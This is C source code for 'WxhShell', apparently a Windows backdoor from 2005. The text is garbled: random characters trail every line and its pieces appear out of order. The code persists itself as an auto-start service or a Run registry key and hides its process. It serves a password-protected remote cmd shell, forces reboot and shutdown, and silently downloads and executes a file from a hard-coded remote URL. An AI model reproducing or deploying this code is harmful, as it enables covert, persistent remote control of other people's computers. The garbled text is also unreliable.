    if(Boot(SHUTDOWN)) H0yM`7[y  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); fC[~X[H  
    else { )O$S3ojZ  
    closesocket(wsh); tA,J~|+f:  
    ExitThread(0); HD1/1?y!@q  
    } WTjmU=<\  
    break; vS[\ j  
    } ;Bw3@c  
  // 获取shell iel@"E 4  
  case 's': { 9 '(m"c_  
    CmdShell(wsh); "DH>4Q] d  
    closesocket(wsh); U!K#g_}  
    ExitThread(0); QUfF>,[sv  
    break; W7@Vma`  
  } Q`Q"p  
  // 退出 `*`ZgTV  
  case 'x': { #l.s> B4  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); skTtGz8R[  
    CloseIt(wsh); .7:ecFKk  
    break; R9D2cu,{  
    } 6+"gk(  
  // 离开 &p*rEs  
  case 'q': { ]2ycJ >w  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); kA)`i`gt  
    closesocket(wsh); l Ft&cy2  
    WSACleanup(); tp }Bz&V  
    exit(1); rOj(THoc{  
    break; AAKc8 {  
        } ,^ dpn  
  } \" m&WFm  
  } aGws?<1$  
'z)cieFKP  
  // 提示信息 {yEL$8MC  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 1,U)rx$H  
} qV,x)y:V  
  } ,S@B[+VZ  
V?`|Ha}  
  return; zy8+~\a+Y&  
} l8_RA  
fA[T5<66  
// shell模块句柄 :Z_abKt  
int CmdShell(SOCKET sock) Ir*{IVvej  
{ (v:8p!QN  
STARTUPINFO si; C7}iwklcsa  
ZeroMemory(&si,sizeof(si)); klY, @  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES;  twK3  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; z(2G"}  
PROCESS_INFORMATION ProcessInfo; IjQgmS~G  
char cmdline[]="cmd"; FL&Y/5  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); =^l`c$G<  
  return 0; hhI*2|i"L  
} Gl6:2  
7 s2*VKr  
// 自身启动模式 0tPwhJ  
int StartFromService(void) }#Iqq9[  
{ JE*?O*&|Q  
typedef struct :<0lCj  
{ wyAh%'V  
  DWORD ExitStatus; p6)6Gcx  
  DWORD PebBaseAddress; npbf>n^R  
  DWORD AffinityMask; 9}42s+  
  DWORD BasePriority; J~ +p7S  
  ULONG UniqueProcessId; fD8GAav  
  ULONG InheritedFromUniqueProcessId; g2rH"3sC  
}   PROCESS_BASIC_INFORMATION; :O?3lj)  
Y$j !-l5z  
PROCNTQSIP NtQueryInformationProcess; hewc5vrL  
P=9UK`n  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; &zVXd  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; IlI5xkJ(  
Mii&doU  
  HANDLE             hProcess; ^EW6}oj[  
  PROCESS_BASIC_INFORMATION pbi; NqFfz9G)  
v:>sS_^  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); [biz[ fm  
  if(NULL == hInst ) return 0; Zw%:mZN  
wqap~X  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); S@~ReRew2  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); f}ch1u>  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); fjuPGg~  
*#@{&Q(Qh  
  if (!NtQueryInformationProcess) return 0; c|(Q[=   
$YJi]:3&  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); wsc=6/#u  
  if(!hProcess) return 0; 3vQVk  
m")p]B&i=  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 0Jd>V  
KF!d?  
  CloseHandle(hProcess); l2wu>Ar7.  
d>r]xXB6  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); J*ZcZ FbWN  
if(hProcess==NULL) return 0; I).eQ8:  
p!<PRms@  
HMODULE hMod; )oM% N  
char procName[255]; uaCI2I  
unsigned long cbNeeded; c]qh)F$s8  
:3J`+V}9;  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); r/0AM}[!*j  
C{G%"q  
  CloseHandle(hProcess); yLl:G;  
[[Nn~7  
if(strstr(procName,"services")) return 1; // 以服务启动 LA(/UA3Izd  
kK0zb{  
  return 0; // 注册表启动 9'|_1Q.b^  
} J%!vhQ  
9J<vkxG9`  
// 主模块 jxYze/I  
int StartWxhshell(LPSTR lpCmdLine) ltkA7dUbu  
{ 1$:O9 {F  
  SOCKET wsl; m Q<Vwx0  
BOOL val=TRUE; i~5'bSq c  
  int port=0; =Pp-9<& S  
  struct sockaddr_in door; aqQ  U7  
(#qQ;ch  
  if(wscfg.ws_autoins) Install(); 4CS$%Cu\?w  
0fV}n:4Pq  
port=atoi(lpCmdLine); ?f!&M  
e. E$Ej]w  
if(port<=0) port=wscfg.ws_port; Kv#Q$$)r  
`nc=@" 1  
  WSADATA data; n*#HokX  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; _U,Hi?b"$}  
Wi~?2-!  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   }b{7+ + Ah  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); +]~}kvk:  
  door.sin_family = AF_INET; li#ep?5h^  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); gnf4H V~  
  door.sin_port = htons(port); U0N6\+  
;:Tb_4Hr  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { SWT)M1O2  
closesocket(wsl); \vpX6!T  
return 1; f>Tn#OW  
} VmXXj6l&  
>]Dn,*R  
  if(listen(wsl,2) == INVALID_SOCKET) { BXytAz3  
closesocket(wsl); 5UG"i_TC  
return 1; (tiE%nF+  
} 6.|[;>Km  
  Wxhshell(wsl); uE.. 1N&*  
  WSACleanup(); NZ+TTMv  
"od 2i\  
return 0; RS2uk 7MB  
bY~V?yNgKM  
}  DD[<J:6  
I-Am9\   
// 以NT服务方式启动 w.+G+ r=  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv )  KcpQ[6\  
{ S&Hgr_/}c  
DWORD   status = 0; YjPj#57+  
  DWORD   specificError = 0xfffffff; ]L3MIaO2T  
{Z>Mnw"R  
  serviceStatus.dwServiceType     = SERVICE_WIN32; \#C]|\  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; }1.'2.<Y  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ~;t/VsgGW  
  serviceStatus.dwWin32ExitCode     = 0; ^5k~ 7F.  
  serviceStatus.dwServiceSpecificExitCode = 0; $9W,1wg  
  serviceStatus.dwCheckPoint       = 0; iRV=I,  
  serviceStatus.dwWaitHint       = 0;  Qr-,J_  
crgVedx~}  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); UH((d*HX4  
  if (hServiceStatusHandle==0) return; ^pqJz^PO.  
Q4g69IE  
status = GetLastError(); fd&>p  
  if (status!=NO_ERROR) g?u=n`k]\  
{ FU)=+m  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; :8]y*j  
    serviceStatus.dwCheckPoint       = 0; KvO5-g  
    serviceStatus.dwWaitHint       = 0; zkd^5A; `  
    serviceStatus.dwWin32ExitCode     = status; =yPV9#(I/  
    serviceStatus.dwServiceSpecificExitCode = specificError; :edy(vC<  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); \9}DAM_  
    return; Sh:_YD^(  
  } L}K8cB  
sdN1BV2  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; AH:0h X6+  
  serviceStatus.dwCheckPoint       = 0; x( (Rm_'  
  serviceStatus.dwWaitHint       = 0; HY(XI u  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); eEYz A  
} Fnd_\`9{  
vLGnLpt  
// 处理NT服务事件,比如:启动、停止 z]&?}o  
VOID WINAPI NTServiceHandler(DWORD fdwControl) [7,q@>:CS  
{ _auFt"n  
switch(fdwControl) ~*e@^Nv)v  
{ gIKQip<  
case SERVICE_CONTROL_STOP: 3MDs?qx>s  
  serviceStatus.dwWin32ExitCode = 0; HI[Pf%${  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; WfYG#!}x  
  serviceStatus.dwCheckPoint   = 0; a/[)A _-  
  serviceStatus.dwWaitHint     = 0; l;B  
  { `(E$-m-~jH  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ,G[Y< ~Hy  
  } a&7uRR26  
  return; VDiW9]  
case SERVICE_CONTROL_PAUSE: p@oz[017/J  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; b&9~F6aM  
  break; StiWa<"c  
case SERVICE_CONTROL_CONTINUE: [n3@*)q's  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; q w @g7  
  break; s? 2ikJq  
case SERVICE_CONTROL_INTERROGATE: :BB=E'293  
  break; yl0;Jx?  
}; gSe3S-Lt  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); +fQJ#?N2n  
} 2AEVBkF;M  
ZzxWKIE'c  
// 标准应用程序主函数 eYevj[c;  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) YdN]Tqc  
{ beNy5~M$  
~y,m7%L  
// 获取操作系统版本 '1~;^rU  
OsIsNt=GetOsVer(); 3^-\=taN<m  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 7;pQ'FmZJ  
b Rr3:"=sE  
  // 从命令行安装 @gw8r[  
  if(strpbrk(lpCmdLine,"iI")) Install(); I__ a}|T%  
M C y~~DL  
  // 下载执行文件 PZI6{KOis  
if(wscfg.ws_downexe) { jsP+,brO  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) cM]ZYi  
  WinExec(wscfg.ws_filenam,SW_HIDE); m|v$F,Lv  
} ZKM@U?PK  
#$}A$sm  
if(!OsIsNt) { 5=8t<v1Bn  
// 如果时win9x,隐藏进程并且设置为注册表启动 )_6W@s  
HideProc(); ]zn3nhBI  
StartWxhshell(lpCmdLine); Ar<!F/  
} ex66GJQe1  
else DVDzYR**4  
  if(StartFromService()) $)d34JM  
  // 以服务方式启动 Mh {>#Gs  
  StartServiceCtrlDispatcher(DispatchTable); R@U4Ae{+  
else AJ)&+H  
  // 普通方式启动 ;s-@m<  
  StartWxhshell(lpCmdLine); tq51;L  
45OAJ?N  
return 0; nYe:$t3F=  
} 9Q'[>P=1  
p1W6s0L  
R`B} T<*  
#w:nj1{_  
=========================================== gEw9<Y  
U2v;GIo$yU  
A2 $05a$%  
0%)T]SDS  
k= &n>P  
}7_$[r'_oI  
" Xg;;< /Z  
mA@!t>=oMq  
#include <stdio.h> KLG29G  
#include <string.h> YOUB%N9+  
#include <windows.h> |*Oi:)qt  
#include <winsock2.h> p7HLSB2Rp  
#include <winsvc.h> U+C ^"[B  
#include <urlmon.h> DO( 3hIj  
:6/$/`I0W  
#pragma comment (lib, "Ws2_32.lib") ^;tB,7:*V  
#pragma comment (lib, "urlmon.lib") lS#^v#uS  
q([{WZ:6Oq  
#define MAX_USER   100 // 最大客户端连接数 =^\?{oV  
#define BUF_SOCK   200 // sock buffer %jHe_8=o  
#define KEY_BUFF   255 // 输入 buffer B{p74 >  
zg$ag4%Qgg  
#define REBOOT     0   // 重启 >8b%*f8R  
#define SHUTDOWN   1   // 关机  ) TRUx  
O%haaL\  
#define DEF_PORT   5000 // 监听端口 ~O]{m,)n  
mkrVeBp  
#define REG_LEN     16   // 注册表键长度 7 p1B"%  
#define SVC_LEN     80   // NT服务名长度 A(n#k&W1fZ  
0Ue~dVrM(?  
// 从dll定义API N Hn #c3o  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); _dmG#_1  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); eN\+  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); NEvNj  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); MSRk|0Mcr  
i0zrXaKV  
// wxhshell配置信息 $PAAmaigi  
struct WSCFG { !Ce!D0Tx  
  int ws_port;         // 监听端口 .2s^8gO  
  char ws_passstr[REG_LEN]; // 口令 UtQCTNjC{  
  int ws_autoins;       // 安装标记, 1=yes 0=no @^o7UzS4z  
  char ws_regname[REG_LEN]; // 注册表键名 i"pOYZW1  
  char ws_svcname[REG_LEN]; // 服务名 7_jlNr7uk  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 pMAP/..+2  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 /Z,hQ>/  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ~qIr'?D  
int ws_downexe;       // 下载执行标记, 1=yes 0=no f^ZhFu?  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" pM}~/  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 7B\Q5fLQ  
E+LQyvF[  
}; cOZBl;}  
4O/IT1+A  
// default Wxhshell configuration M'F<1(  
struct WSCFG wscfg={DEF_PORT, [J(b"c6  
    "xuhuanlingzhe", YD0hDp  
    1, VR\}*@pNp  
    "Wxhshell", M"bG(a(6:  
    "Wxhshell", +\)Y,@cw  
            "WxhShell Service", vU]n0)<KB  
    "Wrsky Windows CmdShell Service", @LSh=o+  
    "Please Input Your Password: ", u[oV Jvc  
  1, #dD0vYT&od  
  "http://www.wrsky.com/wxhshell.exe", ~*9Ue@  
  "Wxhshell.exe" hJD3G |E  
    }; o)]O  
_:WNk(  
// 消息定义模块 x+;y0`oL  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; =N8_S$nx(  
char *msg_ws_prompt="\n\r? for help\n\r#>"; FOsxId[f9  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; jA[Ir3  
char *msg_ws_ext="\n\rExit."; Jb^{o+s53  
char *msg_ws_end="\n\rQuit."; 29VX-45  
char *msg_ws_boot="\n\rReboot..."; C"%B >e  
char *msg_ws_poff="\n\rShutdown..."; (|rf>=B+H  
char *msg_ws_down="\n\rSave to "; /oLY\>pD  
[HUK 9hG  
char *msg_ws_err="\n\rErr!"; %u_dxpx  
char *msg_ws_ok="\n\rOK!"; .N@+Ms3  
/y6f~F  
char ExeFile[MAX_PATH]; cza_LO(  
int nUser = 0; 2eA.04F  
HANDLE handles[MAX_USER]; bN03}&I  
int OsIsNt; D.|r [c  
A*A/30o|R  
SERVICE_STATUS       serviceStatus; 3vjOfr`  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; dv+ZxP%g  
$mE3 FJP>  
// 函数声明 *?]<=IV?  
int Install(void); c b&Yf1  
int Uninstall(void); xI~A Z:m  
int DownloadFile(char *sURL, SOCKET wsh); }P-C-L{yE(  
int Boot(int flag); {@3v$W~7M  
void HideProc(void); E^br-{|{  
int GetOsVer(void); ,<)D3K<  
int Wxhshell(SOCKET wsl); L F} d  
void TalkWithClient(void *cs); TA2ETvz^  
int CmdShell(SOCKET sock); ZS;V?]\(  
int StartFromService(void); E_DQ.!U!o  
int StartWxhshell(LPSTR lpCmdLine); odC"#Rb  
Xo] 2iQy  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); <lWj-+m  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); &1?6Q_p6c  
s=F[.X9lp  
// 数据结构和表定义 YD;d*E%t  
SERVICE_TABLE_ENTRY DispatchTable[] = X1o^MMpz(F  
{ 4>LaA7)v  
{wscfg.ws_svcname, NTServiceMain}, q=D8 Nz  
{NULL, NULL} &;)B qqXc  
}; 'GX x|.  
zy nX9t  
// 自我安装 `j9\]50Z>  
int Install(void) ,UNk]vd  
{ R=&-nC5e  
  char svExeFile[MAX_PATH]; 8iOHav4  
  HKEY key; Y:L[Iz95o  
  strcpy(svExeFile,ExeFile); ]8DTk!  
/<IWdy]$3  
// 如果是win9x系统,修改注册表设为自启动 F:q8.^HTJ  
if(!OsIsNt) { bt_c$TN  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { :]]x^wony~  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); )S 4RR2Q>  
  RegCloseKey(key); #;W4$ q  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { }+G5i_a  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ~ {yy{  
  RegCloseKey(key); ]Y!Fz<-;P  
  return 0; X0-PJ-\aD@  
    } >u(^v@Ejf  
  } J:gC1g^  
} $I>]61l%  
else { *Egg*2P;"Q  
L8!yP.3   
// 如果是NT以上系统,安装为系统服务 9H/R@i[E  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 6)ln,{  
if (schSCManager!=0) wet[f{c  
{ kGo2R]Dd[  
  SC_HANDLE schService = CreateService _$5DK%M}  
  ( YG8V\4 SQ  
  schSCManager, I`rN+c:  
  wscfg.ws_svcname, \Cj3jg  
  wscfg.ws_svcdisp, SQn.`0HT  
  SERVICE_ALL_ACCESS, VjNr<~|d  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , !4=_l6kg~+  
  SERVICE_AUTO_START, 2[uFAgf@  
  SERVICE_ERROR_NORMAL, ]@<VLP?  
  svExeFile, +xO3<u  
  NULL, w0oTV;yh  
  NULL, CEaAtAM  
  NULL, qHdUnW  
  NULL, , QWus"5H  
  NULL W 02z}"#  
  ); v<g=uEpN  
  if (schService!=0) #$-?[c$>  
  { oYTLC@98}  
  CloseServiceHandle(schService); ~%g,Uypi  
  CloseServiceHandle(schSCManager); B5vLV@>]  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); j~K(xf  
  strcat(svExeFile,wscfg.ws_svcname); ;nQ=! .#Q  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { Z_xQ2uH$:  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); `[(XZhN  
  RegCloseKey(key); >yXhP6  
  return 0; :i& 9}\|,  
    } 2EZ7Vdz2  
  } n7K%lj-.P  
  CloseServiceHandle(schSCManager); Q\ 6-SAS  
} ng9e)lU~*b  
} `iM%R3&  
l&U$L N$*e  
return 1; 8 b~  
} SO(BkxV@  
yq[/9PciA  
// 自我卸载 9RHDkK{5  
int Uninstall(void) ^Cp2#d*  
{ N\B&|;-V  
  HKEY key; h ~yTkN]  
#)xlBq4cZ  
if(!OsIsNt) { fuv{2[N V  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { d;0]xG?%=  
  RegDeleteValue(key,wscfg.ws_regname); `N.:3]B t  
  RegCloseKey(key); WQ[n K5#  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { '@hUmrl  
  RegDeleteValue(key,wscfg.ws_regname); =FV(m S  
  RegCloseKey(key); tlUh8os  
  return 0; iz^uj  
  } -V}xvSVg  
} Kc2y  
} gDLS)4^w  
else { f7\X3v2W}3  
O!f37n-TB  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 4c 8{AZ  
if (schSCManager!=0) %sOY:>  
{ RH<2f5-sC!  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); M.}J SDt  
  if (schService!=0) kBcTXl  
  { rDbtT*vN  
  if(DeleteService(schService)!=0) { JG'%HJ"D  
  CloseServiceHandle(schService); i]? Eq?k  
  CloseServiceHandle(schSCManager); 5;" $X 1{  
  return 0; E~fb#6  
  } WA43}CyAe  
  CloseServiceHandle(schService); TmLCmy!  
  } sBa:|(Y.  
  CloseServiceHandle(schSCManager); 6Yodx$  
} ud5}jyJ  
} 3lZl  
SF+L-R<e  
return 1; nCWoco.xy  
} gFHBIN;u  
YCltS!k  
// 从指定url下载文件 d[,Rgdd@I  
int DownloadFile(char *sURL, SOCKET wsh) G>0d^bx;E  
{ \|QB;7u  
  HRESULT hr; ~nmFZ] y  
char seps[]= "/"; X5/fy"g&  
char *token; 6[ 3 K@  
char *file;  "q M  
char myURL[MAX_PATH]; e( @< /W  
char myFILE[MAX_PATH]; $ MH;v_'a  
r[}nrH&8  
strcpy(myURL,sURL); /kK*%TP  
  token=strtok(myURL,seps); ZJZSt% r  
  while(token!=NULL) \}=T4w-e  
  { W@r<4?Oat  
    file=token; dX)a D $m  
  token=strtok(NULL,seps); &(Fm@ksh\  
  } p@f #fs  
}RadbJ{q=  
GetCurrentDirectory(MAX_PATH,myFILE); Lg!E  
strcat(myFILE, "\\"); K=0xR*ll5  
strcat(myFILE, file); 4sQm"XgE  
  send(wsh,myFILE,strlen(myFILE),0); '=Zm[P,  
send(wsh,"...",3,0); b7\>=  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); fb`x1Q  
  if(hr==S_OK) c:.5@eq^  
return 0; uBt ]4d*  
else u3O@ccJ;  
return 1;  mih}?oi  
,:L^vG@*  
} Lr:n  
B//*hH >F  
// 系统电源模块 xJ{r9~  
int Boot(int flag) "%D"h  
{ 96~y\X@x  
  HANDLE hToken; LJPJENtFIs  
  TOKEN_PRIVILEGES tkp; "z Y~*3d  
J~WT;s  
  if(OsIsNt) { +%\Ci!%b  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); CqC )H7A  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); $ eI cCLF  
    tkp.PrivilegeCount = 1; (["kbPma  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; &gr 8;O:0  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); "A+7G5  
if(flag==REBOOT) { 'a+^= c  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) o[_,r]%+D  
  return 0; J?J4<l9  
} TxF^zx\  
else { "i#g [x  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) j3-o}6  
  return 0; ed',\+.uB  
} PZqp;!:xz  
  } ~$K{E[^<  
  else { DL4`j>2Ov  
if(flag==REBOOT) { BuRsz6n  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) _h ^.`Tz,  
  return 0; @H#Fzoo.  
} ,}'8. f  
else { oH0g>E;  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) QK6_dIvDz  
  return 0; q1u$Sm  
} GNv{ Ij<  
} Cscu   
X:Wd%CHP  
return 1; v.8kGF  
} iy]L"7&Z2  
0~BaQ, A @  
// win9x进程隐藏模块 aQL0Sj:,  
void HideProc(void) :$K=LV#Iru  
{ lq_UCCnv5  
C=o-3w  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); ,i}EGW,9q  
  if ( hKernel != NULL ) M| Gl&   
  { )-[$m%  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); WZ6{9/%:  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); SS%Bde&<{  
    FreeLibrary(hKernel); ]N]Fb3  
  } 9FSa=<0wE  
mB>0$l y  
return; lG0CCOdQ  
} PZ6R+n8  
:n13v @q  
// 获取操作系统版本 [LjiLKW  
int GetOsVer(void) $Xt""mlQ  
{ ^"|q~2  
  OSVERSIONINFO winfo; Ey: ?!  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); "Y:>^F;  
  GetVersionEx(&winfo); 8*/;W&7y  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) azIhp{rH w  
  return 1; i@rUZYF  
  else l#v52  
  return 0; =dNE1rdzNa  
} D>{`I'  
J#Y0R"fo  
// 客户端句柄模块 SPlt=*C#_  
int Wxhshell(SOCKET wsl) J1O1! .  
{ ($<&H>j0  
  SOCKET wsh; &1T)'Bn  
  struct sockaddr_in client; LqD7SJ}/f  
  DWORD myID; ?Ybq]J\q  
3AdYZ7J  
  while(nUser<MAX_USER) "ADI .  
{  YC 6guy>  
  int nSize=sizeof(client); T;BFO5G@  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); TC<Rg?&yb  
  if(wsh==INVALID_SOCKET) return 1; 6c^?DLy9B  
e)?}2  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); hzqgsmT)  
if(handles[nUser]==0) m,kYE9 {  
  closesocket(wsh); p+?`ru  
else Dom]w.W5  
  nUser++; ,\ 1X\  
  } KNN{2thy `  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); I$sXbM;z=  
 ~ e?af  
  return 0; QlB9m2XB  
} )=gU~UV  
*ilVkV"U  
// 关闭 socket ?0dmw?i  
void CloseIt(SOCKET wsh) }[|9vF"g.y  
{ [g}#R#Y)  
closesocket(wsh); L7 <30"7  
nUser--; `-U?{U}H  
ExitThread(0); 6B@e[VtG$  
} Xe&9| M  
%`s#p` Ol1  
// 客户端请求句柄 R%n*wGi_6b  
void TalkWithClient(void *cs) ?QF xds  
{  "9[2vdSX  
,OwTi:yDr  
  SOCKET wsh=(SOCKET)cs; ]SAY\;,_  
  char pwd[SVC_LEN]; qm/>\4eLt  
  char cmd[KEY_BUFF]; + @fEw  
char chr[1]; B2$cY;LH  
int i,j; sM)1w-  
qY%|Uo  
  while (nUser < MAX_USER) { |H5GWZ O{^  
TtrO_D  
if(wscfg.ws_passstr) { Ms5qQ<0v_  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); $ s1/Rmw  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ]pB5cq7o  
  //ZeroMemory(pwd,KEY_BUFF); q,7W,<-  
      i=0;  whw+  
  while(i<SVC_LEN) { m.ka%h$  
Q'=7#_  
  // 设置超时 gp$]0~[tO  
  fd_set FdRead; 1(T2:N(M-A  
  struct timeval TimeOut; *[ 0,QEy  
  FD_ZERO(&FdRead); 71E~~$  
  FD_SET(wsh,&FdRead); 3 []ltN_  
  TimeOut.tv_sec=8; Yg5o!A  
  TimeOut.tv_usec=0; o` QH8  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); yR{rje*  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); ))dqC l  
'$p`3Oqi  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); pLF,rOb  
  pwd=chr[0]; 'W9[Vm  
  if(chr[0]==0xd || chr[0]==0xa) { qF(i1#  
  pwd=0; M9fQ,<c<6  
  break; 6:}n}q,V  
  } 4s%zvRu  
  i++; vCt][WX(  
    } : i.5 < f  
nnBS;5  
  // 如果是非法用户,关闭 socket hFycSu  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ~~&Bp_9QXN  
} f-i5tnh  
bYQ@!  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); w#a`k9y  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); jdVj FCl^#  
1Z_w2D*  
while(1) { QhTn9S:D  
{G3Ok++hc  
  ZeroMemory(cmd,KEY_BUFF); 5ad@}7&  
_-{=Z=?6}  
      // 自动支持客户端 telnet标准   *uK!w(;2  
  j=0; i4>M  
  while(j<KEY_BUFF) { DU,B  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); WRbdv{ 1E  
  cmd[j]=chr[0]; p"6[S  
  if(chr[0]==0xa || chr[0]==0xd) { v0\M$@N[  
  cmd[j]=0; E*T6kp^b  
  break; 9-{.WZ  
  } |*ZM{$  
  j++; v0&DD&mp  
    } !a V:T&6  
N@Ap|`Ei  
  // 下载文件 T:%0i8p  
  if(strstr(cmd,"http://")) { >\'}&oi  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); {%('|(57  
  if(DownloadFile(cmd,wsh)) 8f~*T  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); @Kt!uKrI  
  else tr0kTW$Ad  
